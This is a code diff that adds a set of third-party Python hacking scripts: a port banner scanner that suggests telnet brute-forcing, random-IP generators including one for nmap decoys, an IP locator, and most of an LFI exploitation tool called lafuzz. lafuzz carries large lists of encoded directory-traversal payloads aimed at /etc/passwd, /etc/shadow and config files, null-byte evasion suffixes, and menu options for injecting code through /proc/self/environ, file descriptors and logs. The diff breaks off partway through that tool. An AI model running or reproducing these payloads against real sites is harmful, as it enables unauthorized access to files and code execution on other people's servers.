+	except (ftplib.all_errors), msg: print "An error occurred:", msg
+	
+#................................................
+	
+if args == []:
+	print "Usage: ./ipbanscan.py <host>"
+else:
+	host = args[0]
+	plist = []
+	www = ["80","8000","8080"]
+	print "\n\t   d3hydr8[at]gmail[dot]com IP BannerScanner v1.0"
+	print "\t--------------------------------------------------\n"
+	print "\n\t\t.:[ Scanning",args[0],"]:.\n"
+	nmap = getopen()
+	for tmp in nmap:
+		if re.search("\d+/tcp\s+(?=open)", tmp): 
+			port = re.findall("\d+", tmp) 
+			if port: plist.append(port[0])
+	print "Ports open:",len(plist),"\n"
+	for p in www:
+		if p in plist: 
+			http(p)
+			plist.remove(p)
+	if "21" in plist:
+		ftp(21)
+	if "23" in plist:
+		print "\n\tTelnet server found on port 23. brute?" 
+		sock(["23"])
+		plist.remove("23")
+	sock(plist)
+				
\ No newline at end of file
diff --git a/3rdparty/ipgen.py b/3rdparty/ipgen.py
new file mode 100644
index 0000000..00b32ac
--- /dev/null
+++ b/3rdparty/ipgen.py
@@ -0,0 +1,34 @@
+#!/usr/bin/env python
+#Random IP generater.
+
+#whoami project
+
+#http://darkc0de.com
+#d3hydr8[at]gmail[dot]com
+
+import sys, random, re
+
+def randip():
+	
+	A = random.randrange(255) + 1
+	B = random.randrange(255) + 1
+	C = random.randrange(255) + 1
+	D = random.randrange(255) + 1
+	ip = "%d.%d.%d.%d" % (A,B,C,D)
+	return ip
+
+
+print "\n   d3hydr8[at]gmail[dot]com IPgen v1.0"
+print "----------------------------------------\n"
+if len(sys.argv) < 2:
+	print "Usage: ./ipgen.py <how many?>\n"
+	sys.exit(1)
+	
+ips = []
+for x in xrange(int(sys.argv[1])):
+	ips.append(randip())
+	
+ips = str(ips)
+
+ips = ips[1:-1].replace("'","")
+print re.sub("\s","",ips)
\ No newline at end of file
diff --git a/3rdparty/ipgen1.1.py b/3rdparty/ipgen1.1.py
new file mode 100644
index 0000000..1c651c4
--- /dev/null
+++ b/3rdparty/ipgen1.1.py
@@ -0,0 +1,46 @@
+#!/usr/bin/env python
+#Random IP generater for nmap -DECOY
+
+#Version 1.1 will test ips before printing.
+
+#whoami project
+
+#http://darkc0de.com
+#d3hydr8[at]gmail[dot]com
+
+import sys, random, re, socket
+
+def randip():
+	
+	A = random.randrange(255) + 1
+	B = random.randrange(255) + 1
+	C = random.randrange(255) + 1
+	D = random.randrange(255) + 1
+	ip = "%d.%d.%d.%d" % (A,B,C,D)
+	return ip
+
+
+print "\n   d3hydr8[at]gmail[dot]com IPgen v1.1"
+print "----------------------------------------\n"
+if len(sys.argv) < 2:
+	print "Usage: ./ipgen.py <how many?>\n"
+	sys.exit(1)
+	
+print "[+] Testing...\n"
+	
+ips = []
+while len(ips) != (int(sys.argv[1])):
+	ip = randip()
+	try:
+		hn = socket.gethostbyaddr(ip)[0]
+		print "[+] Found:",hn,"|",ip
+		ips.append(ip)
+	except(socket.herror):
+		pass
+	
+ips = str(ips)
+
+ips = ips[1:-1].replace("'","")
+print "\n"
+print re.sub("\s","",ips)
+print "\nDone\n"
\ No newline at end of file
diff --git a/3rdparty/iplocate.py b/3rdparty/iplocate.py
new file mode 100644
index 0000000..6fdee9a
--- /dev/null
+++ b/3rdparty/iplocate.py
@@ -0,0 +1,22 @@
+#!/usr/bin/python
+#Locates where an ip address is using antionline.com.
+#I know theres a better way to do this but it works.
+#Email me your way and i will post it. 
+#subclass str and define .remove that will call .replace (_, "")  ??
+#d3hydr8[at]gmail[dot]com 
+
+import urllib, sys, re
+ 
+if len(sys.argv) != 2:
+	print "\nUsage: ./iplocate.py <ip>\n"
+	sys.exit(1)
+
+ip = sys.argv[1]
+
+url = "http://antionline.com/tools-and-toys/ip-locate/index.php?address="+ip
+
+site = urllib.urlopen(url).readlines()
+for line in site:
+	if re.search("<br><b>", line):
+		line = line.replace("</b>","").replace('<br>',"").replace('<b>',"")
+		print "\n",line,"\n"
\ No newline at end of file
diff --git a/3rdparty/iprange.py b/3rdparty/iprange.py
new file mode 100644
index 0000000..b5a011d
--- /dev/null
+++ b/3rdparty/iprange.py
@@ -0,0 +1,34 @@
+#!/usr/bin/env python
+#A python function that takes 
+#an ip_range ex: (192.168.1-254.0-255) or 
+#192.168.1.0-255) and appends every ip
+#to a returned list for other uses.
+#Use it if you would like or email me with
+#a better one.
+#d3hydr8[at]gmail[dot]com
+
+import sys
+
+def getips(ip_range):
+	
+	lst = []
+	iplist = []
+	ip_range = ip_range.rsplit(".",2)
+	if len(ip_range[1].split("-",1)) ==2:
+		for i in range(int(ip_range[1].split("-",1)[0]),int(ip_range[1].split("-",1)[1])+1,1):
+			lst.append(ip_range[0]+"."+str(i)+".")
+		for ip in lst:
+			for i in range(int(ip_range[2].split("-",1)[0]),int(ip_range[2].split("-",1)[1])+1,1):
+				iplist.append(ip+str(i))
+		return iplist
+	if len(ip_range[1].split("-",1)) ==1:
+		for i in range(int(ip_range[2].split("-",1)[0]),int(ip_range[2].split("-",1)[1])+1,1):
+			iplist.append(ip_range[0]+"."+str(ip_range[1].split("-",1)[0])+"."+str(i))
+		return iplist
+			
+iplist = getips(sys.argv[1])
+print "Length:",len(iplist)
+
+			
+		
+	
\ No newline at end of file
diff --git a/3rdparty/iptext.py b/3rdparty/iptext.py
new file mode 100644
index 0000000..13ddf75
--- /dev/null
+++ b/3rdparty/iptext.py
@@ -0,0 +1,26 @@
+#!/usr/bin/python
+#saves random ips to a text file
+#d3hydr8[at]gmail[dot]com
+import random, sys
+
+if len(sys.argv) != 3:
+	print "\nUsage: ./iptext.py <how many> <saved file>\n"
+	sys.exit(1)
+
+count = 0
+
+while count != int(sys.argv[1]):
+	
+	count += 1
+
+	A = random.randrange(255) + 1
+	B = random.randrange(255) + 1
+	C = random.randrange(255) + 1
+	D = random.randrange(255) + 1
+
+	ip = "\n""%d.%d.%d.%d" % (A,B,C,D)
+
+	file = open(sys.argv[2], "a")
+	file.writelines(ip)
+	file.close()
+print "\nALL DONE\n"
diff --git a/3rdparty/lafuzz.py b/3rdparty/lafuzz.py
new file mode 100644
index 0000000..271b178
--- /dev/null
+++ b/3rdparty/lafuzz.py
@@ -0,0 +1,814 @@
+#!/usr/bin/python                                
+import urllib,urllib2,sys,os,base64
+
+def main():
+    banner()
+    usage()
+    logs = ["apache/logs/error.log","apache/logs/access.log","apache/logs/error.log","apache/logs/access.log","apache/logs/error.log","apache/logs/access.log", 
+            "etc/httpd/logs/acces_log","etc/httpd/logs/acces.log","etc/httpd/logs/error_log","etc/httpd/logs/error.log","var/www/logs/access_log","var/www/logs/access.log",
+            "usr/local/apache/logs/access_log","usr/local/apache/logs/access.log","var/log/apache/access_log","var/log/apache2/access_log","var/log/apache/access.log",
+            "var/log/apache2/access.log", "var/log/access_log", "var/log/access.log","var/www/logs/error_log","var/www/logs/error.log","usr/local/apache/logs/error_log",
+            "usr/local/apache/logs/error.log","var/log/apache/error_log","var/log/apache2/error_log","var/log/apache/error.log","var/log/apache2/error.log",
+            "var/log/error_log","var/log/error.log"]
+
+    fuzzer=["../","../../../../../../../../../../../../etc/hosts","../../../../../../../../../../../../etc/passwd",
+            "../../../../../../../../../../../../etc/shadow","..\%20\..\%20\..\%20\../etc/passwd","..\..\..\..\..\..\..\..\..\..\etc\passwd",
+            "....//....//....//....//....//....//....//....//....//....//etc/passwd","....//....//....//....//....//....//....//....//....//....//etc/hosts",
+            "..\..\..\..\..\..\..\..\..\..\etc\group",".\\./.\\./.\\./.\\./.\\./.\\./etc/passwd",".\\./.\\./.\\./.\\./.\\./.\\./etc/shadow",
+            "/","../%00/","/%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..",
+            "../%2A","/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd","..//..//..//..//..//../etc/passwd",
+            "/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/group","..//..//..//..//..//..//..//etc//passwd",
+            "/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd","..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd",
+            "/&apos;","/\,%ENV\,/","/..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/passwd",
+            "/..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/passwd","/.../.../.../.../.../%0a",
+            "/../../../../../../../../%2A","/../../../../../../../../../../etc/passwd","..%2f%2f..%2f%2f..%2f%2f..%2f%2f..%2f%2f..%2f%2fetc%2f%2fpasswd",
+            "/../../../../../../../../../../etc/passwd^^","/../../../../../../../../../../etc/group","../\../\../\../\../\../\../\etc/\passwd",
+            "/../../../../../../../../../../etc/shadow^^","/../../../../../../../../bin/id|","...//...//...//...//...//...//etc//passwd",
+            "/..\../..\../..\../..\../..\../..\../etc/passwd","/..\../..\../..\../..\../..\../..\../etc/shadow","../\.../\.../\.../\.../\.../\.../\etc/\passwd",
+            "/./././././././././././etc/passwd","/./././././././././././etc/shadow","/./././././././././././etc/group",".../.../.../.../.../.../etc/passwd",
+            "\.\.\.\.\.\.\.\.\etc\passwd","\.\.\.\.\.\.\.\.\etc\group","/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/shadow",
+            "/%00//%00//%00//%00//%00/etc/passwd","/%00//%00//%00//%00//%00/etc/passwd","/%00//%00//%00//%00//%00//etc//shadow",
+            "/%2e%2e\../%2e%2e\../%2e%2e\../%2e%2e\../%2e%2e\../%2e%2e\../etc/passwd","/%2e%2e\../%2e%2e\../%2e%2e\../%2e%2e\../%2e%2e\../%2e%2e\../etc/shadow",
+            "..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63","..%%35c..%%35c..%%35c..%%35c..%%35c..%%35c","..%5c..%5c..%5c..%5c..%5c..%5c..%5cetc%5cgroup"
+            "..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63etc%25%35%63passwd","..%255c..%255c..%255c..%255c..%255c..%255cetc%255cpasswd",
+            "..%5c..%5c..%5c..%5c..%5c..%5c..%5cetc%5cpasswd","..%5c..%5c..%5c..%5c..%5c..%5c../etc/passwd","..%5c..%5c..%5c..%5c..%5c..%5c..%5cetc%5cgroup",
+            "..%5c..%5c..%5c..%5c..%5c..%5c..%5cetc%5cshadow","..%bg%qf..%bg%qf..%bg%qf..%bg%qf..%bg%qf","..%bg%qf..%bg%qf..%bg%qf..%bg%qf..%bg%qfetc%bg%qfpasswd",
+            "..%bg%qf..%bg%qf..%bg%qf..%bg%qf..%bg%qfetc%bg%qfgroup","..%bg%qf..%bg%qf..%bg%qf..%bg%qfetc/passwd","../\.../\.../\.../\.../\.../\.../etc/passwd",
+            "..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afetc/passwd","..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afetc/shadow",
+            "..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af","..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af",
+            "..%u2215..%u2215..%u2215..%u2215..%u2215","..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215etc%u2215passwd",
+            "..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215etc%u2215shadow",".%5c../..%5c/..%c0%9v..%5c.%5c../..%5c/..%c0%9v../",
+            "..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215etc%u2215group","..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215etc%u2215passwd",
+            "..%255c",".%5c../..%5c","/..%c0%9v../","/..%c0%af../","/..%255c..%255c","/..%c0%af..//..%c0%af..//..%c0%af../",
+            "/..%255c..%255c/..%255c..%255c/..%255c..%255c","..%255c",".%5c../..%5c/..%c0%9v../","..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216etc%u2216passwd",
+            "..%u2216..%u2216..%u2216..%u2216..%u2216etc%u2216hosts","..%u2216..%u2216..%u2216..%u2216..%u2216etc%u2216shadow","./\./\./\./\./\./\./etc/hosts",
+            "../\./\./\./\./\./\./\etc/\passwd","../\./\./\./\./\./\./\proc/\self/\fd/\1","..//..//..//..//..//config.php","..\/..\/..\/..\/config.php",
+            "..%5c..%5c..%5c..%5c..%5c..%5c..%5config.php","..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afconfig.php","..%25%35%63..%25%35%63..%25%35%63config.php",
+            "/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2econfig.php"]
+
+    lfi_load = ["etc/passwd","etc/group","etc/shadow","proc/cpuinfo","proc/meminfo","proc/self/mounts","proc/self/status","proc/self/stat","proc/self/mounts",
+            "etc/security/access.conf","etc/security/opasswd","etc/snort/snort.conf","etc/ldap/ldap.conf","proc/version","etc/clamav/clamd.conf","etc/ssh/sshd_config",
+            "etc/cups/printers.conf","etc/cups/cupsd.conf.default","etc/inetd.conf","etc/apache2/conf.d","etc/apache2/conf.d/security","etc/samba/dhcp.conf",
+            "etc/samba/dhcp.conf","etc/mysql/conf.d/old_passwords.cnf","etc/X11/xorg.conf","etc/gconf","proc/self/cmdline","etc/dhcp3/dhclient.conf",
+            "etc/irssi.conf","etc/chkrootkit.conf","etc/ufw/sysctl.conf","etc/ufw/ufw.conf","etc/php5/apache2/conf.d","etc/syslog.conf",
+            "etc/snmp/snmpd.conf","share/snmp/snmpd.conf","etc/cvs-cron.conf","proc/self/environ","etc/clamav/freshclam.conf","etc/ca-certificates.conf",
+            "etc/debconf.conf","etc/bash_completion.d/debconf","etc/tor/tor-tsocks.conf","etc/xdg/user-dirs.conf","etc/htdig/htdig.conf",
+            "etc/remastersys.conf","etc/gnome-vfs-2.0/modules/default-modules.conf","etc/gnome-vfs-2.0/modules/extra-modules.conf","etc/gconf",
+            "etc/gconf/gconf.xml.defaults","etc/gconf/gconf.xml.defaults/%gconf-tree.xml","etc/tor/tor-tsocks.conf","etc/xdg/user-dirs.conf","etc/htdig/htdig.conf",
+            "etc/remastersys.conf","etc/gnome-vfs-2.0/modules/default-modules.conf","etc/gconf/gconf.xml.defaults","etc/gconf/2","etc/mysql/conf.d",
+            "etc/gconf/gconf.xml.defaults/%gconf-tree.xml","etc/gconf/gconf.xml.system","etc/gconf/2/evoldap.conf","etc/gconf/2/path","etc/gconf/gconf.xml.mandatory",
+            "etc/gconf/gconf.xml.mandatory/%gconf-tree.xml","etc/modprobe.d/vmware-tools.conf","etc/fonts/conf.d","etc/fonts/conf.d/README","etc/miredo.conf"
+            "etc/bluetooth/input.conf","etc/bluetooth/network.conf","etc/bluetooth/main.conf","etc/bluetooth/rfcomm.conf","etc/ldap/ldap.conf","etc/cups/pdftops.conf",
+            "etc/cups/cupsd.conf.default","etc/cups/acroread.conf","etc/cups/cupsd.conf","etc/oinkmaster.conf","etc/menu-methods/menu.config","etc/security/time.conf",
+            "etc/security/namespace.conf","etc/security/sepermit.conf","etc/security/limits.conf","etc/security/group.conf","etc/security/pam_env.conf","etc/deluser.conf",
+            "etc/miredo-server.conf",".etc/mail/sendmail.conf","etc/belocs/locale-gen.conf","etc/snort/threshold.conf","etc/snort/rules/open-test.conf",
+            "etc/snort/rules/emerging.conf","etc/snort/snort-mysql.conf","etc/snort/reference.config","etc/arpalert/arpalert.conf","etc/udev/udev.conf","etc/resolvconf",
+            "etc/resolvconf/update-libc.d","etc/resolvconf/update-libc.d/sendmail","etc/airoscript.conf","etc/foremost.conf","etc/scrollkeeper.conf","etc/pam.conf",
+            "etc/nsswitch.conf","etc/initramfs-tools/conf.d","etc/GeoIP.conf.default","etc/proxychains.conf","etc/host.conf","etc/tinyproxy/tinyproxy.conf",
+            "etc/freetds/freetds.conf","etc/prelude/default/global.conf","etc/prelude/default/idmef-client.conf","etc/prelude/default/tls.conf","etc/apache2/httpd.conf",
+            "etc/apache2/conf.d","etc/apache2/conf.d/charset","etc/apache2/mods-enabled/deflate.conf","etc/apache2/ports.conf","etc/apache2/mods-enabled/mime.conf",
+            "etc/apache2/mods-enabled/dir.conf","etc/apache2/mods-enabled/alias.conf","etc/apache2/mods-enabled/php5.conf","etc/apache2/mods-enabled/negotiation.conf",
+            "etc/apache2/mods-enabled/status.conf","etc/apache2/mods-available/proxy.conf","etc/apache2/mods-available/deflate.conf","etc/apache2/mods-available/mime.conf",
+            "etc/apache2/mods-available/dir.conf","etc/apache2/mods-available/mem_cache.conf","etc/apache2/mods-available/ssl.conf","etc/apache2/mods-available/autoindex.conf",
+            "etc/apache2/mods-available/setenvif.conf","etc/updatedb.conf","etc/kernel-pkg.conf","etc/samba/dhcp.conf","etc/samba/smb.conf","etc/ltrace.conf",
+            "etc/bonobo-activation/bonobo-activation-config.xml","etc/sysctl.conf","etc/mono/config","etc/mono/2.0/machine.config","etc/mono/2.0/web.config",
+            "etc/mono/1.0/machine.config","etc/sensors.conf","etc/X11/xorg.conf-vesa","etc/X11/xorg.conf.BeforeVMwareToolsInstall","etc/X11/xorg.conf",
+            "etc/X11/xorg.conf-vmware","etc/X11/xorg.conf.orig","etc/smi.conf","etc/postgresql-common/autovacuum.conf","etc/pulse/client.conf","etc/python/debian_config",
+            "etc/hdparm.conf","etc/discover.conf.d","etc/discover.conf.d/00discover","etc/casper.conf","etc/discover-modprobe.conf","etc/updatedb.conf.BeforeVMwareToolsInstall",
+            "etc/apt/apt.conf.d","etc/apt/apt.conf.d/00trustcdrom","etc/apt/apt.conf.d/70debconf","etc/apt/apt.conf.d/05aptitude","etc/apt/apt.conf.d/50unattended-upgrades",
+            "etc/apt/apt.conf.d/01ubuntu","etc/apt/apt.conf.d/01autoremove","etc/vmware-tools/config","etc/vmware-tools/vmware-tools-libraries.conf","etc/vmware-tools/tpvmlp.conf",
+            "etc/miredo/miredo.conf","etc/miredo/miredo-server.conf","etc/PolicyKit/PolicyKit.conf","etc/gtk-2.0/im-multipress.conf","etc/resolv.conf","etc/adduser.conf",
+            "etc/subversion/config","etc/openvpn/update-resolv-conf","etc/cvs-pserver.conf","etc/pear/pear.conf","etc/dns2tcpd.conf","etc/java-6-sun/fontconfig.properties",
+            "etc/privoxy/config","etc/gre.d/1.9.0.14.system.conf","etc/gre.d/1.9.0.15.system.conf","etc/gre.d/1.9.0.10.system.conf","etc/logrotate.conf",
+            "etc/skel/.kde3/share/apps/kconf_update","etc/skel/.kde3/share/apps/kconf_update/log/update.log","etc/skel/.kde3/share/share/apps/kconf_update",
+            "etc/skel/.kde3/share/share/apps/kconf_update/log","etc/skel/.kde3/share/share/apps/kconf_update/log/update.log","etc/skel/.config","etc/skel/.config/Trolltech.conf",
+            "etc/skel/.config/menus","etc/skel/.config/menus/applications-kmenuedit.menu","etc/skel/.config/user-dirs.locale","etc/skel/.config/codef00.com",
+            "etc/skel/.config/user-dirs.dirs","etc/avahi/avahi-daemon.conf","etc/dhcp3/dhcpd.conf","etc/dhcp3/dhclient.conf","etc/splashy/config.xml","etc/reader.conf.old",
+            "etc/defoma/config","etc/defoma/config/x-ttcidfont-conf.conf2","etc/wicd/manager-settings.conf","etc/wicd/wireless-settings.conf","etc/wicd/dhclient.conf.template.default",
+            "etc/wicd/wired-settings.conf","etc/sysctl.d/wine.sysctl.conf","etc/sysctl.d/10-network-security.conf","etc/sysctl.d/10-console-messages.conf","etc/kbd/config",
+            "etc/sysctl.d/10-process-security.conf","etc/w3m/config","etc/reader.conf.d","etc/reader.conf.d/libccidtwin","etc/reader.conf.d/0comments","etc/reader.conf",
+            "etc/kbd/config","etc/dbus-1/session.conf","etc/dbus-1/system.conf","etc/etter.conf","etc/pm/config.d","etc/pm/config.d/00sleep_module","etc/depmod.d/ubuntu.conf",
+            "etc/unicornscan/payloads.conf","etc/unicornscan/unicorn.conf","etc/unicornscan/modules.conf","etc/console-tools/config.d","etc/console-tools/config.d/splashy",
+            "etc/tpvmlp.conf","etc/mtools.conf","etc/kernel-img.conf","etc/ca-certificates.conf.dpkg-old","etc/ld.so.conf","etc/conky/conky.conf","etc/ucf.conf","etc/rinetd.conf",
+            "etc/e2fsck.conf","etc/gdm/failsafeDexconf","etc/foomatic/filter.conf","etc/manpath.config","etc/esound/esd.conf","etc/tsocks.conf","etc/stunnel/stunnel.conf",
+            "etc/fuse.conf","etc/uniconf.conf","etc/syslog.conf","etc/cvs-cron.conf","etc/snmp/snmpd.conf","share/snmp/snmpd.conf","/etc/apache2/envvars","config.php"]
+
+    fd_lfis=["proc/self/fd/0","proc/self/fd/1","proc/self/fd/2","proc/self/fd/3","proc/self/fd/4","proc/self/fd/5","proc/self/fd/6","proc/self/fd/7","proc/self/fd/8",
+             "proc/self/fd/9","proc/self/fd/10","/proc/self/fd/11","/proc/self/fd/12","/proc/self/fd/13","/proc/self/fd/14","/proc/self/fd/15"]
+
+    step = "../../../../../../../../"
+    evasion = "%00.php"
+    evasion1 = "%00.php.inc"
+    evasion2 = "%00.php5"
+    evasion3 = "%00.phtml"
+    nullbyte ="%00"    
+    htmlfile = "lfi_fuzz.html"
+    htmlfile2 = "lfi_fuzz-01.html"
+    htmlfile3 = "lfi_fuzz-02.html"
+    scan_options = ("[1]Fuzz for LFI and Directory Transveral","[2]Traditional Local File Inclusion scan and dump","[3]File Descriptor LFI scan",
+                    "[4]Exploit LFI via /proc/self/environment","[5]Exploit LFI via File descriptor","[6]Include known apache logs","[7]Exploit LFI via Logfile",
+                    "[8]Use LFI_Sploit\'s LFI command shell","[9]Use php:// to read file streams(allow_url_include must be on)","[10]Custom step(../../)","[11]Information",
+                    "[12]Exit")
+
+    for scan in scan_options:
+        print(scan)                 
+            
+    option = str(raw_input("Please pick an option(1-12):"))
+    if option == "1":
+        url = str(raw_input("Site and uri to Fuzz: "))
+        if url[:7] != "http://":
+            url = "http://"+url
+        else:
+            url = url
+  
+        try:
+            cleanup(htmlfile)
+            cleanup(htmlfile2)
+            cleanup(htmlfile3)
+
+            print "Old files removed, ready to start a new scan"
+        except:
+            print "Ready to start a new scan.."
+        nullorno = str(raw_input("Fuzz with nullbyte and other evasion techniques?(y or n):"))
+        nullorno = nullorno.lower()
+        if nullorno == 'y':
+            for fuzz in fuzzer:
+                myurl = url + fuzz + nullbyte
+                print("Attempting to include: %s"  %(myurl))
+                try:
+                    scanner(myurl,url,htmlfile)
+                
+                except IOError as e:
+                    print("Error codes: %s" %(e))
+ 
+                except KeyboardInterrupt:      
+                    print("Exitting...")
+                    sys.exit(1)      
+
+
+            for fuzz in fuzzer:
+                myurl = url + fuzz + evasion
+                print("Attempting to include: %s"  %(myurl))
+                try:
+                    scanner(myurl,url,htmlfile)                     
+
+                except IOError as e:
+                    print "Error codes: %s" %(e)
+ 
+                except KeyboardInterrupt:
+                    print "Exitting..."
+                    sys.exit(1)
+
+
+            for fuzz in fuzzer:
+                myurl = url + fuzz + evasion1
+                print("Attempting to include: %s"  %(myurl))
+                try:
+                    scanner(myurl,url,htmlfile)
+
+                except IOError as e:
+                    print("Error codes: %s" %(e))
+ 
+                except KeyboardInterrupt:
+                    print("Exitting...")
+                    sys.exit(1)
+
+            for fuzz in fuzzer:
+                myurl = url + fuzz + evasion2
+                print("Attempting to include: %s"  %(myurl))
+                try:
+                    scanner(myurl,url,htmlfile2)
+
+                except IOError as e:
+                    print("Error codes: %s" %(e))
+
+                except KeyboardInterrupt:
+                    print("Exitting...")
+                    sys.exit(1)
+                
+
+            for fuzz in fuzzer:
+                myurl = url + fuzz + evasion3
+                print("Attempting to include: %s"  %(myurl))
+                try:
+                    scanner(myurl,url,htmlfile3)
+
+                except IOError as e:
+                    print("Error codes: %s" %(e))
+
+                except KeyboardInterrupt:
+                    print("Exitting...")
+                    sys.exit(1)
+
+
+        
+        elif nullorno == 'n':
+            for fuzz in fuzzer:
+                myurl = url + fuzz 
+                print("Attempting to include: %s"  %(myurl))
+                try:
+                    scanner(myurl,url,htmlfile)
+
+                except IOError as e:
+                    print "Error: %s" %(e)
+     
+                except KeyboardInterrupt:      
+                    print "Exitting..."
+                    sys.exit(1)      
+
+
+    elif option == "2":
+        htmlfile = "LFI_report.html"
+        url = str(raw_input("Site and uri to attack?: "))
+        if url[:7] != "http://":
+            url = "http://"+url
+        else:
+            url = url
+
+        print "cleaning up old files before starting a scan"
+        try:
+            cleanup(htmlfile)
+
+            print "Old files removed, ready to start a new scan"
+        except:
+            print "Ready to start a new scan.."
+
+        nullorno = str(raw_input("Use a nullbyte(y or n):"))
+        nullorno = nullorno.lower()
+        if nullorno == 'n':
+            for lfi in lfi_load:
+                myurl = url + step + lfi
+                print("Attempting to include: %s"  %(myurl))
+                try:
+                    scanner(myurl,url,htmlfile)
+
+                except IOError as e:
+                    print("Error Codes including files: %s" %(e))
+
+                except KeyboardInterrupt:      
+                    print("Exitting...")
+                    sys.exit(1)      
+
+        elif nullorno == 'y':
+            for lfi in lfi_load:
+                myurl = url + step + lfi + nullbyte
+                print("Scanning %s"  %(myurl))
+                try:
+                    scanner(myurl,url,htmlfile)
+
+                except IOError as e:
+                    print("Error codes: %s" %(e))
+
+                except KeyboardInterrupt:      
+                    print("Exitting...")
+                    sys.exit(1)      
+
+    elif option == "3":
+        htmlfile = "LFI_FD_report.html"
+        htmlfile2 = "LFI_FD_report1.html"
+        htmlfile3 = "LFI_FD_report2.html"
+        url = str(raw_input("Site and uri to attack?: "))
+        if url[:7] != "http://":
+            url = "http://"+url
+        else:
+            url = url
+
+        print "cleaning up old files before starting to scan"
+        try:
+            cleanup(htmlfile)
+
+            print("Old files removed, ready to start a new scan")
+        except:
+            print("Ready to start a new scan..")
+
+        nullorno = str(raw_input("Use a nullbyte(y or n):"))
+        nullorno = nullorno.lower()
+        if nullorno == 'n':
+            for fd in fd_lfis:
+                myurl = url + step + fd
+                print("Attempting to include file descriptor and url: %s"  %(myurl))
+                try:
+                    scanner(myurl,url,htmlfile)
+
+                except IOError as e:
+                    print("Error codes: %s" %(e))
+
+                except KeyboardInterrupt:      
+                    print("Exitting...")
+                    sys.exit(1)      
+
+        elif nullorno == 'y':
+            for fd in fd_lfis:
+                myurl = url + step + fd
+                print("Scanning %s"  %(myurl))
+                try:
+                    scanner(myurl,url,htmlfile)
+
+                except IOError as e:
+                    print("Error code: %s" %(e))
+
+                except KeyboardInterrupt:      
+                    print("Exitting...")
+                    sys.exit(1)      
+
+
+    elif option == "4":
+        url = str(raw_input("Site and uri to exploit(/proc/self/environ must be viewable and magic_quotes=off)?: "))
+        if url[:7] != "http://":
+            url = "http://"+url
+        else:
+            url = url
+
+        print "cleaning up old files before starting a scan"
+        try:
+            cleanup(htmlfile)
+
+            print("Old files removed, ready to start a new scan")
+        except:
+            print("Ready to start a new scan..")
+
+        nullorno = str(raw_input("Use a nullbyte(y or n):"))
+        nullorno = nullorno.lower()
+        if nullorno == 'n':
+                environ = "../../../../../../../../../proc/self/environ"
+                myurl = url + environ
+                print("Injecting code into /proc/self/environ using site: %s"  %(myurl))
+                try:
+                    exploit_environ(myurl)
+
+                except IOError as e:
+                    print("Error: %s" %(e))
+
+                except KeyboardInterrupt:      
+                    print("Exitting...")
+                    sys.exit(1)      
+
+        elif nullorno == 'y':
+            environ = "../../../../../../../../proc/self/environ"
+            myurl = url + environ + nullbyte 
+            print("Injecting code into /proc/self/environ on url: %s"  %(myurl))
+            try:
+                exploit_environ(myurl)
+
+            except IOError as e:
+                print("Error codes connecting to server: %s" %(e)) 
+
+            except KeyboardInterrupt:      
+                print("Exitting...")
+                sys.exit(1)      
+
+    elif option == "5":
+        url = str(raw_input("Site and uri to attack?: "))
+        if url[:7] != "http://":
+            url = "http://"+url
+        else:
+            url = url
+
+        fds = {"1": "../../../../../../../proc/self/fd/1","2":"../../../../../../../proc/self/fd/2",
+               "3":"../../../../../../../proc/self/fd/3","4":"../../../../../../../proc/self/fd/4",
+               "5":"../../../../../../../proc/self/fd/5","6":"../../../../../../../proc/self/fd/6",
+               "7":"../../../../../../../proc/self/fd/7","8":"../../../../../../../proc/self/fd/8",
+               "9":"../../../../../../../proc/self/fd/9","10":"../../../../../../../proc/self/fd/10",
+              "11":"../../../../../../../proc/self/fd/11","12":"../../../../../../proc/self/fd/12"}
+
+        fd = str(raw_input("File descriptor number to log for shell include?:(ie 1-12)"))
+        print("cleaning up old files before starting a scan")
+        try:
+            cleanup(htmlfile)
+          
+            print("Old files removed, ready to start a new scan")
+        except:
+            print("Ready to start a new scan..")
+
+        nullorno = str(raw_input("Use a nullbyte(y or n):"))
+        nullorno = nullorno.lower()
+        if nullorno == 'n':
+            myurl = url + fds[fd]
+            print("Injecting code into file descriptor: %s"  %(myurl))
+            try:
+                exploit_lfi(myurl)
+
+            except IOError as e:
+                print("Error codes connecting to server: %s" %(e))
+
+            except KeyboardInterrupt:      
+                print("Exitting...")
+                sys.exit(1)      
+
+        elif nullorno == 'y':
+            myurl = url + fds[fd] + nullbyte
+            print("Injecting code into file descriptor: %s"  %(myurl))
+            try:
+                exploit_lfi(myurl)
+
+            except IOError as e:
+                print("Error: %s" %(e)) 
+
+            except KeyboardInterrupt:      
+                print("Exitting...")
+                sys.exit(1)
+      
+        else:
+            option_error()             
+              
+    elif option == "6":
+        url = str(raw_input("Site and uri to attack?: "))
+        if url[:7] != "http://":
+            url = "http://"+url
+        else:
+            url = url
+
+        print("Cleaning up old html files")
+        try:
+            cleanup(htmlfile)
+
+            print("Old files removed, ready to start a new scan")
+        except:
